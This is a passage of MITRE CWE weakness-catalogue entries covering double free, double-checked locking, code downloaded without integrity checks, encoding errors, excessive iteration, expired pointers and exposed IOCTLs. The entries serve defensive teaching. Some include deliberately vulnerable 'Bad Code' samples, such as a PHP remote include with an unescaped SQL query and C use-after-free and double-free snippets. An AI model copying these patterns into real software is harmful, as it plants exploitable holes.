Ensure that each allocation is freed only once. After freeing a chunk, set the pointer to NULL to ensure the pointer cannot be freed again. In complicated error conditions, be sure that clean-up routines respect the state of allocation properly. If the language is object oriented, ensure that object destructors delete each chunk of memory only once.

Phase: Implementation

Use a static analysis tool to find double free instances.

+ Relationships
NatureTypeIDNameView(s) this relationship pertains toView(s)
ChildOfWeakness ClassWeakness Class398Indicator of Poor Code Quality
Seven Pernicious Kingdoms (primary)700
ChildOfCategoryCategory399Resource Management Errors
Development Concepts (primary)699
Weaknesses for Simplified Mapping of Published Vulnerabilities (primary)1003
ChildOfCategoryCategory633Weaknesses that Affect Memory
Resource-specific Weaknesses (primary)631
ChildOfWeakness BaseWeakness Base666Operation on Resource in Wrong Phase of Lifetime
Research Concepts1000
ChildOfWeakness ClassWeakness Class675Duplicate Operations on Resource
Research Concepts1000
ChildOfCategoryCategory742CERT C Secure Coding Section 08 - Memory Management (MEM)
Weaknesses Addressed by the CERT C Secure Coding Standard (primary)734
ChildOfWeakness BaseWeakness Base825Expired Pointer Dereference
Research Concepts (primary)1000
ChildOfCategoryCategory876CERT C++ Secure Coding Section 08 - Memory Management (MEM)
Weaknesses Addressed by the CERT C++ Secure Coding Standard (primary)868
ChildOfCategoryCategory969SFP Secondary Cluster: Faulty Memory Release
Software Fault Pattern (SFP) Clusters (primary)888
PeerOfWeakness BaseWeakness Base123Write-what-where Condition
Research Concepts1000
PeerOfWeakness BaseWeakness Base416Use After Free
Development Concepts699
Research Concepts1000
MemberOfViewView630Weaknesses Examined by SAMATE
Weaknesses Examined by SAMATE (primary)630
CanFollowWeakness BaseWeakness Base364Signal Handler Race Condition
Research Concepts1000
+ Relationship Notes

This is usually resultant from another weakness, such as an unhandled error or race condition between threads. It could also be primary to weaknesses such as buffer overflows.

+ Affected Resources
  • Memory
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERDFREE - Double-Free Vulnerability
7 Pernicious KingdomsDouble Free
CLASPDoubly freeing memory
CERT C Secure CodingMEM00-CAllocate and free memory in the same module, at the same level of abstraction
CERT C Secure CodingMEM01-CStore a new value in pointers immediately after free()
CERT C Secure CodingMEM31-CFree dynamically allocated memory exactly once
CERT C++ Secure CodingMEM01-CPPStore a valid value in pointers immediately after deallocation
CERT C++ Secure CodingMEM31-CPPFree dynamically allocated memory exactly once
Software Fault PatternsSFP12Faulty Memory Release
+ White Box Definitions

A weakness where code path has:

1. start statement that relinquishes a dynamically allocated memory resource

2. end statement that relinquishes the dynamically allocated memory resource

+ References
[REF-17] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 8: C++ Catastrophes." Page 143. McGraw-Hill. 2010.
[REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 7, "Double Frees", Page 379.. 1st Edition. Addison Wesley. 2006.
+ Maintenance Notes

It could be argued that Double Free would be most appropriately located as a child of "Use after Free", but "Use" and "Release" are considered to be distinct operations within vulnerability theory, therefore this is more accurately "Release of a Resource after Expiration or Release", which doesn't exist yet.

+ Content History
Submissions
Submission DateSubmitterOrganizationSource
PLOVERExternally Mined
Modifications
Modification DateModifierOrganizationSource
2008-07-01Eric DalciCigitalExternal
updated Potential_Mitigations, Time_of_Introduction
2008-08-01KDM AnalyticsExternal
added/updated white box definitions
2008-09-08CWE Content TeamMITREInternal
updated Applicable_Platforms, Common_Consequences, Description, Maintenance_Notes, Relationships, Other_Notes, Relationship_Notes, Taxonomy_Mappings
2008-11-24CWE Content TeamMITREInternal
updated Relationships, Taxonomy_Mappings
2009-05-27CWE Content TeamMITREInternal
updated Demonstrative_Examples
2009-10-29CWE Content TeamMITREInternal
updated Other_Notes
2010-09-27CWE Content TeamMITREInternal
updated Relationships
2010-12-13CWE Content TeamMITREInternal
updated Observed_Examples, Relationships
2011-06-01CWE Content TeamMITREInternal
updated Common_Consequences
2011-09-13CWE Content TeamMITREInternal
updated Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITREInternal
updated References, Relationships
2014-07-30CWE Content TeamMITREInternal
updated Relationships, Taxonomy_Mappings
2015-12-07CWE Content TeamMITREInternal
updated Relationships

CWE-609: Double-Checked Locking

Weakness ID: 609
Abstraction: Base
Status: Draft
Presentation Filter:
+ Description

Description Summary

The program uses double-checked locking to access a resource without the overhead of explicit synchronization, but the locking is insufficient.

Extended Description

Double-checked locking refers to the situation where a programmer checks to see if a resource has been initialized, grabs a lock, checks again to see if the resource has been initialized, and then performs the initialization if it has not occurred yet. This should not be done, as is not guaranteed to work in all languages and on all architectures. In summary, other threads may not be operating inside the synchronous block and are not guaranteed to see the operations execute in the same order as they would appear inside the synchronous block.

+ Time of Introduction
  • Implementation
+ Applicable Platforms

Languages

Java

+ Common Consequences
ScopeEffect
Integrity
Other

Technical Impact: Modify application data; Alter execution logic

+ Demonstrative Examples

Example 1

It may seem that the following bit of code achieves thread safety while avoiding unnecessary synchronization...

(Bad Code)
Example Language: Java 
if (helper == null) {
synchronized (this) {
if (helper == null) {
helper = new Helper();
}
}
}
return helper;

The programmer wants to guarantee that only one Helper() object is ever allocated, but does not want to pay the cost of synchronization every time this code is called.

Suppose that helper is not initialized. Then, thread A sees that helper==null and enters the synchronized block and begins to execute:

(Bad Code)
 
helper = new Helper();

If a second thread, thread B, takes over in the middle of this call and helper has not finished running the constructor, then thread B may make calls on helper while its fields hold incorrect values.

+ Potential Mitigations

Phase: Implementation

While double-checked locking can be achieved in some languages, it is inherently flawed in Java before 1.5, and cannot be achieved without compromising platform independence. Before Java 1.5, only use of the synchronized keyword is known to work. Beginning in Java 1.5, use of the "volatile" keyword allows double-checked locking to work successfully, although there is some debate as to whether it achieves sufficient performance gains. See references.

+ Relationships
NatureTypeIDNameView(s) this relationship pertains toView(s)
ChildOfCategoryCategory361Time and State
Development Concepts (primary)699
ChildOfWeakness BaseWeakness Base667Improper Locking
Research Concepts (primary)1000
ChildOfCategoryCategory853CERT Java Secure Coding Section 08 - Locking (LCK)
Weaknesses Addressed by the CERT Java Secure Coding Standard (primary)844
ChildOfCategoryCategory986SFP Secondary Cluster: Missing Lock
Software Fault Pattern (SFP) Clusters (primary)888
CanPrecedeWeakness BaseWeakness Base367Time-of-check Time-of-use (TOCTOU) Race Condition
Research Concepts1000
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
CERT Java Secure CodingLCK10-JDo not use incorrect forms of the double-checked locking idiom
Software Fault PatternsSFP19Missing Lock
+ References
David Bacon et al. "The "Double-Checked Locking is Broken" Declaration". <http://www.cs.umd.edu/~pugh/java/memoryModel/DoubleCheckedLocking.html>.
Jeremy Manson and Brian Goetz. "JSR 133 (Java Memory Model) FAQ". <http://www.cs.umd.edu/~pugh/java/memoryModel/jsr-133-faq.html#dcl>.
[REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 13, "Threading Vulnerabilities", Page 815.. 1st Edition. Addison Wesley. 2006.
+ Content History
Submissions
Submission DateSubmitterOrganizationSource
Anonymous Tool Vendor (under NDA)Externally Mined
Modifications
Modification DateModifierOrganizationSource
2008-07-01Eric DalciCigitalExternal
updated Context_Notes
2008-09-08CWE Content TeamMITREInternal
updated Description, Relationships, Taxonomy_Mappings
2008-11-24CWE Content TeamMITREInternal
updated Demonstrative_Examples
2009-01-12CWE Content TeamMITREInternal
updated Relationships
2009-05-27CWE Content TeamMITREInternal
updated Relationships
2009-10-29CWE Content TeamMITREInternal
updated Taxonomy_Mappings
2010-12-13CWE Content TeamMITREInternal
updated Relationships
2011-06-01CWE Content TeamMITREInternal
updated Common_Consequences, Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITREInternal
updated Demonstrative_Examples, References, Relationships
2012-10-30CWE Content TeamMITREInternal
updated Potential_Mitigations
2014-07-30CWE Content TeamMITREInternal
updated Relationships, Taxonomy_Mappings
Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Double Checked Locking

CWE-494: Download of Code Without Integrity Check

Weakness ID: 494
Abstraction: Base
Status: Draft
Presentation Filter:
+ Description

Description Summary

The product downloads source code or an executable from a remote location and executes the code without sufficiently verifying the origin and integrity of the code.

Extended Description

An attacker can execute malicious code by compromising the host server, performing DNS spoofing, or modifying the code in transit.

+ Time of Introduction
  • Architecture and Design
  • Implementation
+ Applicable Platforms

Languages

Language-independent

+ Common Consequences
ScopeEffect
Integrity
Availability
Confidentiality
Other

Technical Impact: Execute unauthorized code or commands; Alter execution logic; Other

Executing untrusted code could compromise the control flow of the program. The untrusted code could execute attacker-controlled commands, read or modify sensitive resources, or prevent the software from functioning correctly for legitimate users.

+ Likelihood of Exploit

Medium

+ Detection Methods

Manual Analysis

This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session.

Specifically, manual static analysis is typically required to find the behavior that triggers the download of code, and to determine whether integrity-checking methods are in use.

These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

Black Box

Use monitoring tools that examine the software's process as it interacts with the operating system and the network. This technique is useful in cases when source code is unavailable, if the software was not developed by you, or if you want to verify that the build phase did not introduce any new weaknesses. Examples include debuggers that directly attach to the running process; system-call tracing utilities such as truss (Solaris) and strace (Linux); system activity monitors such as FileMon, RegMon, Process Monitor, and other Sysinternals utilities (Windows); and sniffers and protocol analyzers that monitor network traffic.

Attach the monitor to the process and also sniff the network connection. Trigger features related to product updates or plugin installation, which is likely to force a code download. Monitor when files are downloaded and separately executed, or if they are otherwise read back into the process. Look for evidence of cryptographic library calls that use integrity checking.

+ Demonstrative Examples

Example 1

This example loads an external class from a local subdirectory.

(Bad Code)
Example Language: Java 
URL[] classURLs= new URL[]{
new URL("file:subdir/")
};
URLClassLoader loader = new URLClassLoader(classURLs);
Class loadedClass = Class.forName("loadMe", true, loader);

This code does not ensure that the class loaded is the intended one, for example by verifying the class's checksum. An attacker may be able to modify the class file to execute malicious code.

Example 2

This code includes an external script to get database credentials, then authenticates a user against the database, allowing access to the application.

(Bad Code)
Example Language: PHP 
//assume the password is already encrypted, avoiding CWE-312
function authenticate($username,$password){
include("http://external.example.com/dbInfo.php");
//dbInfo.php makes $dbhost, $dbuser, $dbpass, $dbname available
mysql_connect($dbhost, $dbuser, $dbpass) or die ('Error connecting to mysql');
mysql_select_db($dbname);
$query = 'Select * from users where username='.$username.' And password='.$password;
$result = mysql_query($query);
if(mysql_numrows($result) == 1){
mysql_close();
return true;
}
else{
mysql_close();
return false;
}
}

This code does not verify that the external domain accessed is the intended one. An attacker may somehow cause the external domain name to resolve to an attack server, which would provide the information for a false database. The attacker may then steal the usernames and encrypted passwords from real user login attempts, or simply allow himself to access the application without a real user account.

This example is also vulnerable to a Man in the Middle (CWE-300) attack.

+ Observed Examples
ReferenceDescription
OS does not verify authenticity of its own updates.
online poker client does not verify authenticity of its own updates.
anti-virus product does not verify automatic updates for itself.
VOIP phone downloads applications from web sites without verifying integrity.
+ Potential Mitigations

Phase: Implementation

Perform proper forward and reverse DNS lookups to detect DNS spoofing.

This is only a partial solution since it will not prevent your code from being modified on the hosting site or in transit.

Phases: Architecture and Design; Operation

Encrypt the code with a reliable encryption scheme before transmitting.

This will only be a partial solution, since it will not detect DNS spoofing and it will not prevent your code from being modified on the hosting site.

Phase: Architecture and Design

Strategy: Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

Speficially, it may be helpful to use tools or frameworks to perform integrity checking on the transmitted code.

  • When providing the code that is to be downloaded, such as for automatic updates of the software, then use cryptographic signatures for the code and modify the download clients to verify the signatures. Ensure that the implementation does not contain CWE-295, CWE-320, CWE-347, and related weaknesses.

  • Use code signing technologies such as Authenticode. See references [R.494.1] [R.494.2] [R.494.3].

Phases: Architecture and Design; Operation

Strategy: Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [R.494.7]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Phases: Architecture and Design; Operation

Strategy: Sandbox or Jail

Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.

OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.

This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.

Be careful to avoid CWE-243 and other weaknesses related to jails.

Effectiveness: Limited

The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.

+ Relationships
NatureTypeIDNameView(s) this relationship pertains toView(s)
ChildOfCategoryCategory490Mobile Code Issues
Development Concepts (primary)699
ChildOfWeakness ClassWeakness Class669Incorrect Resource Transfer Between Spheres
Research Concepts (primary)1000
ChildOfCategoryCategory7522009 Top 25 - Risky Resource Management
Weaknesses in the 2009 CWE/SANS Top 25 Most Dangerous Programming Errors (primary)750
ChildOfCategoryCategory8022010 Top 25 - Risky Resource Management
Weaknesses in the 2010 CWE/SANS Top 25 Most Dangerous Programming Errors (primary)800
ChildOfCategoryCategory859CERT Java Secure Coding Section 14 - Platform Security (SEC)
Weaknesses Addressed by the CERT Java Secure Coding Standard (primary)844
ChildOfCategoryCategory8652011 Top 25 - Risky Resource Management
Weaknesses in the 2011 CWE/SANS Top 25 Most Dangerous Software Errors (primary)900
ChildOfCategoryCategory991SFP Secondary Cluster: Tainted Input to Environment
Software Fault Pattern (SFP) Clusters (primary)888
PeerOfWeakness BaseWeakness Base79Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Research Concepts1000
MemberOfViewView884CWE Cross-section
CWE Cross-section (primary)884
CanFollowWeakness BaseWeakness Base79Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Research Concepts1000
+ Research Gaps

This is critical for mobile code, but it is likely to become more and more common as developers continue to adopt automated, network-based product distributions and upgrades. Software-as-a-Service (SaaS) might introduce additional subtleties. Common exploitation scenarios may include ad server compromises and bad upgrades.

+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
CLASPInvoking untrusted mobile code
CERT Java Secure CodingSEC06-JDo not rely on the default automatic signature verification provided by URLClassLoader and java.util.jar
Software Fault PatternsSFP27Tainted input to environment
+ References
[R.494.1] Microsoft. "Introduction to Code Signing". <http://msdn.microsoft.com/en-us/library/ms537361(VS.85).aspx>.
[R.494.3] Apple. "Code Signing Guide". Apple Developer Connection. 2008-11-19. <http://developer.apple.com/documentation/Security/Conceptual/CodeSigningGuide/Introduction/chapter_1_section_1.html>.
[R.494.4] Anthony Bellissimo, John Burgess and Kevin Fu. "Secure Software Updates: Disappointments and New Challenges". <http://prisms.cs.umass.edu/~kevinfu/papers/secureupdates-hotsec06.pdf>.
[R.494.5] [REF-17] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 18: The Sins of Mobile Code." Page 267. McGraw-Hill. 2010.
[R.494.6] Johannes Ullrich. "Top 25 Series - Rank 20 - Download of Code Without Integrity Check". SANS Software Security Institute. 2010-04-05. <http://blogs.sans.org/appsecstreetfighter/2010/04/05/top-25-series-rank-20-download-code-integrity-check/>.
[R.494.7] [REF-31] Sean Barnum and Michael Gegick. "Least Privilege". 2005-09-14. <https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/351.html>.
+ Content History
Submissions
Submission DateSubmitterOrganizationSource
CLASPExternally Mined
Modifications
Modification DateModifierOrganizationSource
2008-07-01Eric DalciCigitalExternal
updated Time_of_Introduction
2008-09-08CWE Content TeamMITREInternal
updated Relationships, Other_Notes, Taxonomy_Mappings
2009-01-12CWE Content TeamMITREInternal
updated Applicable_Platforms, Common_Consequences, Description, Name, Other_Notes, Potential_Mitigations, References, Relationships, Research_Gaps, Type
2009-03-10CWE Content TeamMITREInternal
updated Potential_Mitigations
2009-07-27CWE Content TeamMITREInternal
updated Description, Observed_Examples, Related_Attack_Patterns
2010-02-16CWE Content TeamMITREInternal
updated Detection_Factors, References, Relationships
2010-04-05CWE Content TeamMITREInternal
updated Applicable_Platforms
2010-06-21CWE Content TeamMITREInternal
updated Common_Consequences, Detection_Factors, Potential_Mitigations, References
2010-09-27CWE Content TeamMITREInternal
updated Potential_Mitigations, References
2010-12-13CWE Content TeamMITREInternal
updated Potential_Mitigations
2011-03-29CWE Content TeamMITREInternal
updated Demonstrative_Examples
2011-06-01CWE Content TeamMITREInternal
updated Common_Consequences, Relationships, Taxonomy_Mappings
2011-06-27CWE Content TeamMITREInternal
updated Relationships
2011-09-13CWE Content TeamMITREInternal
updated Potential_Mitigations, References
2012-05-11CWE Content TeamMITREInternal
updated References, Relationships, Taxonomy_Mappings
2012-10-30CWE Content TeamMITREInternal
updated Potential_Mitigations
2014-07-30CWE Content TeamMITREInternal
updated Relationships, Taxonomy_Mappings
Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Mobile Code: Invoking Untrusted Mobile Code
2009-01-12Download of Untrusted Mobile Code Without Integrity Check

CWE-172: Encoding Error

Weakness ID: 172
Abstraction: Class
Status: Draft
Presentation Filter:
+ Description

Description Summary

The software does not properly encode or decode the data, resulting in unexpected values.
+ Time of Introduction
  • Implementation
+ Applicable Platforms

Languages

All

+ Common Consequences
ScopeEffect
Integrity

Technical Impact: Unexpected state

+ Potential Mitigations

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Implementation

Strategy: Output Encoding

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict whitelist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

Phase: Implementation

Strategy: Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

+ Relationships
NatureTypeIDNameView(s) this relationship pertains toView(s)
ChildOfCategoryCategory171Cleansing, Canonicalization, and Comparison Errors
Development Concepts (primary)699
ChildOfWeakness ClassWeakness Class707Improper Enforcement of Message or Data Structure
Research Concepts (primary)1000
Weaknesses for Simplified Mapping of Published Vulnerabilities (primary)1003
ChildOfCategoryCategory992SFP Secondary Cluster: Faulty Input Transformation
Software Fault Pattern (SFP) Clusters (primary)888
CanPrecedeWeakness ClassWeakness Class22Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Research Concepts1000
CanPrecedeWeakness BaseWeakness Base41Improper Resolution of Path Equivalence
Research Concepts1000
ParentOfWeakness VariantWeakness Variant173Improper Handling of Alternate Encoding
Development Concepts (primary)699
Research Concepts (primary)1000
ParentOfWeakness VariantWeakness Variant174Double Decoding of the Same Data
Development Concepts (primary)699
Research Concepts1000
ParentOfWeakness VariantWeakness Variant175Improper Handling of Mixed Encoding
Development Concepts (primary)699
Research Concepts (primary)1000
ParentOfWeakness VariantWeakness Variant176Improper Handling of Unicode Encoding
Development Concepts (primary)699
Research Concepts (primary)1000
ParentOfWeakness VariantWeakness Variant177Improper Handling of URL Encoding (Hex Encoding)
Development Concepts (primary)699
Research Concepts (primary)1000
+ Relationship Notes

Partially overlaps path traversal and equivalence weaknesses.

+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVEREncoding Error
+ Maintenance Notes

This is more like a category than a weakness.

Many other types of encodings should be listed in this category.

+ Content History
Submissions
Submission DateSubmitterOrganizationSource
PLOVERExternally Mined
Modifications
Modification DateModifierOrganizationSource
2008-07-01Eric DalciCigitalExternal
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITREInternal
updated Maintenance_Notes, Relationships, Relationship_Notes, Taxonomy_Mappings
2009-07-27CWE Content TeamMITREInternal
updated Potential_Mitigations
2010-12-13CWE Content TeamMITREInternal
updated Description
2011-03-29CWE Content TeamMITREInternal
updated Potential_Mitigations
2011-06-01CWE Content TeamMITREInternal
updated Common_Consequences, Description
2011-06-27CWE Content TeamMITREInternal
updated Common_Consequences
2012-05-11CWE Content TeamMITREInternal
updated Related_Attack_Patterns, Relationships
2012-10-30CWE Content TeamMITREInternal
updated Potential_Mitigations
2013-02-21CWE Content TeamMITREInternal
updated Potential_Mitigations
2014-07-30CWE Content TeamMITREInternal
updated Relationships
2015-12-07CWE Content TeamMITREInternal
updated Relationships

CWE-834: Excessive Iteration

Weakness ID: 834
Abstraction: Base
Status: Incomplete
Presentation Filter:
+ Description

Description Summary

The software performs an iteration or loop without sufficiently limiting the number of times that the loop is executed.

Extended Description

If the iteration can be influenced by an attacker, this weakness could allow attackers to consume excessive resources such as CPU or memory. In many cases, a loop does not need to be infinite in order to cause enough resource consumption to adversely affect the software or its host system; it depends on the amount of resources consumed per iteration.

+ Common Consequences
ScopeEffect
Availability

Technical Impact: DoS: resource consumption (CPU); DoS: resource consumption (memory); DoS: amplification; DoS: crash / exit / restart

Excessive looping will cause unexpected consumption of resources, such as CPU cycles or memory. The software's operation may slow down, or cause a long time to respond. If limited resources such as memory are consumed for each iteration, the loop may eventually cause a crash or program exit due to exhaustion of resources, such as an out-of-memory error.

+ Detection Methods

Dynamic Analysis with manual results interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

  • Fuzz Tester

  • Framework-based Fuzzer

  • Forced Path Execution

Effectiveness: SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

  • Focused Manual Spotcheck - Focused manual analysis of source

  • Manual Source Code Review (not inspections)

Effectiveness: SOAR Partial

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

  • Context-configured Source Code Weakness Analyzer

Effectiveness: SOAR High

Architecture / Design Review

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

  • Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness: SOAR High

+ Relationships
NatureTypeIDNameView(s) this relationship pertains toView(s)
ChildOfWeakness ClassWeakness Class691Insufficient Control Flow Management
Development Concepts (primary)699
Research Concepts (primary)1000
ParentOfWeakness BaseWeakness Base674Uncontrolled Recursion
Research Concepts (primary)1000
ParentOfWeakness BaseWeakness Base835Loop with Unreachable Exit Condition ('Infinite Loop')
Development Concepts (primary)699
Research Concepts (primary)1000
CanFollowWeakness BaseWeakness Base606Unchecked Input for Loop Condition
Research Concepts1000
+ References
[REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 7, "Looping Constructs", Page 327.. 1st Edition. Addison Wesley. 2006.
+ Content History
Submissions
Submission DateSubmitterOrganizationSource
2011-03-22MITREInternal CWE Team
Modifications
Modification DateModifierOrganizationSource
2011-06-01CWE Content TeamMITREInternal
updated Common_Consequences, Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITREInternal
updated References, Relationships, Taxonomy_Mappings
2014-07-30CWE Content TeamMITREInternal
updated Detection_Factors

CWE-825: Expired Pointer Dereference

Weakness ID: 825
Abstraction: Base
Status: Incomplete
Presentation Filter:
+ Description

Description Summary

The program dereferences a pointer that contains a location for memory that was previously valid, but is no longer valid.

Extended Description

When a program releases memory, but it maintains a pointer to that memory, then the memory might be re-allocated at a later time. If the original pointer is accessed to read or write data, then this could cause the program to read or modify data that is in use by a different function or process. Depending on how the newly-allocated memory is used, this could lead to a denial of service, information exposure, or code execution.

+ Alternate Terms
Dangling pointer
+ Terminology Notes

Many weaknesses related to pointer dereferences fall under the general term of "memory corruption" or "memory safety." As of September 2010, there is no commonly-used terminology that covers the lower-level variants.

+ Common Consequences
ScopeEffect
Confidentiality

Technical Impact: Read memory

If the expired pointer is used in a read operation, an attacker might be able to control data read in by the application.

Availability

Technical Impact: DoS: crash / exit / restart

If the expired pointer references a memory location that is not accessible to the program, or points to a location that is "malformed" (such as NULL) or larger than expected by a read or write operation, then a crash may occur.

Integrity
Confidentiality
Availability

Technical Impact: Execute unauthorized code or commands

If the expired pointer is used in a function call, or points to unexpected data in a write operation, then code execution may be possible.

+ Demonstrative Examples

Example 1

The following code shows a simple example of a use after free error:

(Bad Code)
Example Language:
char* ptr = (char*)malloc (SIZE);
if (err) {
abrt = 1;
free(ptr);
}
...
if (abrt) {
logError("operation aborted before commit", ptr);
}

When an error occurs, the pointer is immediately freed. However, this pointer is later incorrectly used in the logError function.

Example 2

The following code shows a simple example of a double free error:

(Bad Code)
Example Language:
char* ptr = (char*)malloc (SIZE);
...
if (abrt) {
free(ptr);
}
...
free(ptr);

Double free vulnerabilities have two common (and sometimes overlapping) causes:

  • Error conditions and other exceptional circumstances

  • Confusion over which part of the program is responsible for freeing the memory

Although some double free vulnerabilities are not much more complicated than the previous example, most are spread out across hundreds of lines of code or even different files. Programmers seem particularly susceptible to freeing global variables more than once.

+ Observed Examples
ReferenceDescription
access of expired memory address leads to arbitrary code execution
stale pointer issue leads to denial of service and possibly other consequences
read of value at an offset into a structure after the offset is no longer valid
+ Potential Mitigations

Phase: Architecture and Design

Choose a language that provides automatic memory management.

Phase: Implementation

When freeing pointers, be sure to set them to NULL once they are freed. However, the utilization of multiple or complex data structures may lower the usefulness of this strategy.

+ Relationships
NatureTypeIDNameView(s) this relationship pertains toView(s)
ChildOfWeakness ClassWeakness Class119Improper Restriction of Operations within the Bounds of a Memory Buffer
Development Concepts (primary)699
Research Concepts (primary)1000
ChildOfCategoryCategory465Pointer Issues
Development Concepts699
ChildOfWeakness BaseWeakness Base672Operation on a Resource after Expiration or Release
Development Concepts699
Research Concepts1000
ChildOfCategoryCategory8672011 Top 25 - Weaknesses On the Cusp
Weaknesses in the 2011 CWE/SANS Top 25 Most Dangerous Software Errors (primary)900
CanPrecedeWeakness BaseWeakness Base125Out-of-bounds Read
Research Concepts1000
CanPrecedeWeakness BaseWeakness Base787Out-of-bounds Write
Research Concepts1000
ParentOfWeakness VariantWeakness Variant415Double Free
Research Concepts (primary)1000
ParentOfWeakness BaseWeakness Base416Use After Free
Research Concepts (primary)1000
MemberOfViewView884CWE Cross-section
CWE Cross-section (primary)884
CanFollowWeakness BaseWeakness Base562Return of Stack Variable Address
Research Concepts1000
+ Research Gaps

Under-studied and probably under-reported as of September 2010. This weakness has been reported in high-visibility software, but applied vulnerability researchers have only been investigating it since approximately 2008, and there are only a few public reports. Few reports identify weaknesses at such a low level, which makes it more difficult to find and study real-world code examples.

+ Maintenance Notes

There are close relationships between incorrect pointer dereferences and other weaknesses related to buffer operations. There may not be sufficient community agreement regarding these relationships. Further study is needed to determine when these relationships are chains, composites, perspective/layering, or other types of relationships. As of September 2010, most of the relationships are being captured as chains.

+ Content History
Submissions
Submission DateSubmitterOrganizationSource
2010-09-22MITREInternal CWE Team
Modifications
Modification DateModifierOrganizationSource
2011-06-27CWE Content TeamMITREInternal
updated Demonstrative_Examples, Potential_Mitigations, Relationships
2012-05-11CWE Content TeamMITREInternal
updated Demonstrative_Examples, Relationships
2013-02-21CWE Content TeamMITREInternal
updated Alternate_Terms

CWE-782: Exposed IOCTL with Insufficient Access Control

Weakness ID: 782
Abstraction: Variant
Status: Draft
Presentation Filter:
+ Description

Description Summary

The software implements an IOCTL with functionality that should be restricted, but it does not properly enforce access control for the IOCTL.

Extended Description

When an IOCTL contains privileged functionality and is exposed unnecessarily, attackers may be able to access this functionality by invoking the IOCTL. Even if the functionality is benign, if the programmer has assumed that the IOCTL would only be accessed by a trusted process, there may be little or no validation of the incoming data, exposing weaknesses that would never be reachable if the attacker cannot call the IOCTL directly.

The implementations of IOCTLs will differ between operating system types and versions, so the methods of attack and prevention may vary widely.

+ Time of Introduction
  • Architecture and Design
  • Implementation
+ Applicable Platforms

Languages

C: (Often)

C++: (Often)

Operating Systems

UNIX-based

Windows-based

Platform Notes

Because IOCTL functionality is typically performing low-level actions and closely interacts with the operating system, this weakness may only appear in code that is written in low-level languages.

+ Common Consequences
ScopeEffect
Integrity
Availability
Confidentiality

Attackers can invoke any functionality that the IOCTL offers. Depending on the functionality, the consequences may include code execution, denial-of-service, and theft of data.

+ Likelihood of Exploit

Low to Medium

+ Observed Examples
ReferenceDescription
Operating system does not enforce permissions on an IOCTL that can be used to modify network settings.
Device driver does not restrict ioctl calls to its master.
ioctl does not check for a required capability before processing certain requests.
Chain: insecure device permissions allows access to an IOCTL, allowing arbitrary memory to be overwritten.
Chain: anti-virus product uses weak permissions for a device, leading to resultant buffer overflow in an exposed IOCTL.
Chain: sandbox allows opening of a TTY device, enabling shell commands through an exposed ioctl.
Anti-virus product uses insecure security descriptor for a device driver, allowing access to a privileged IOCTL.
Unauthorized user can disable keyboard or mouse by directly invoking a privileged IOCTL.
+ Potential Mitigations

Phase: Architecture and Design

In Windows environments, use proper access control for the associated device or device namespace. See References.

